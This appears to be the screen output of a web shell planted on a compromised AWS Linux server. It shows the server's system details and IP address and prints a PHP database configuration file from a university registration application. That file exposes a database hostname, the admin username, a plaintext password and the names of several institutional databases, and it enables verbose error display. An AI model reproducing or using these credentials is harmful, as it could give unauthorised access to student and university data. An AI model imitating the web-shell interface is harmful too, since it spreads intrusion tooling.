0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.64.210


Current Path : /var/www/html/univadmin/regform/php/
Upload File :
Current File : /var/www/html/univadmin/regform/php/database.php

<?php
	include("/var/www/config.php");
		
		$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
		$username   = "admin";
		$password  = "T0g3th3r@all";
		$dbnames = [ 
			'rcub' => 'logisys3_rcu',
			'vskub' => 'logisys3_vku',
			'bcu' => 'logisys3_bcu',
			'dud' => 'logisys3_dud',
			'ru' => 'logisys3_rur',
			'ru-admin' => 'logisys3_rur',
			'reva' => 'logisys3_reva'
		];     
		$db = $_REQUEST['db'];
		$databse = $dbnames[$db];
			
		$conn = new  mysqli($servername,$username,$password,$databse);
		if(!$conn) 
		{
			die("Connection failed: " . mysqli_connect_error());
		}
		error_reporting(E_ALL);
		ini_set('display_errors', 'on');	
?>